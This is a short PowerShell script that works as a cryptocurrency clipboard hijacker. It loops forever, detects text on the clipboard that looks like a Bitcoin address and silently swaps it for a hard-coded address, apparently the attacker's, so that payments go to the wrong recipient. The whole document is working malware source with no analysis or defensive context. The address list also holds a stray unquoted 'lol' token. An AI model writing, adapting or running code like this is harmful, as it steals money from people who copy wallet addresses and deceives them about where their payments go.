function isBitcoinAddress([string]$clipboardContent)
{
    if($clipboardContent[0] -ne \'1\')
    {
        return $false
            }

    $strLength = $clipboardContent.length
    if($strLength -lt 26 -or $strLength -gt 35)
    {
        return $false
    }

    $validRegex = \'^[a-zA-Z0-9\\s]+$\'
 
    if($clipboardContent -cnotmatch $validRegex)
    {
        return $false
    }

    return $true
}

$bitcoinAddresses = ("19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W", "19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W",lol, 
"19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W", "19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W", "19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W")
$bitcoinAddressesSize = $bitcoinAddresses.length
$i = 0
$oldAddressSet = ""

while(1)
{
    $clipboardContent = Get-Clipboard
    if((isBitcoinAddress($clipboardContent)) -ceq $true -and
        $clipboardContent -cne $oldAddressSet)
    {
        Set-Clipboard $bitcoinAddresses[$i]
        $oldAddressSet = $bitcoinAddresses[$i]
        $i = ($i + 1) % $bitcoinAddressesSize
    }
}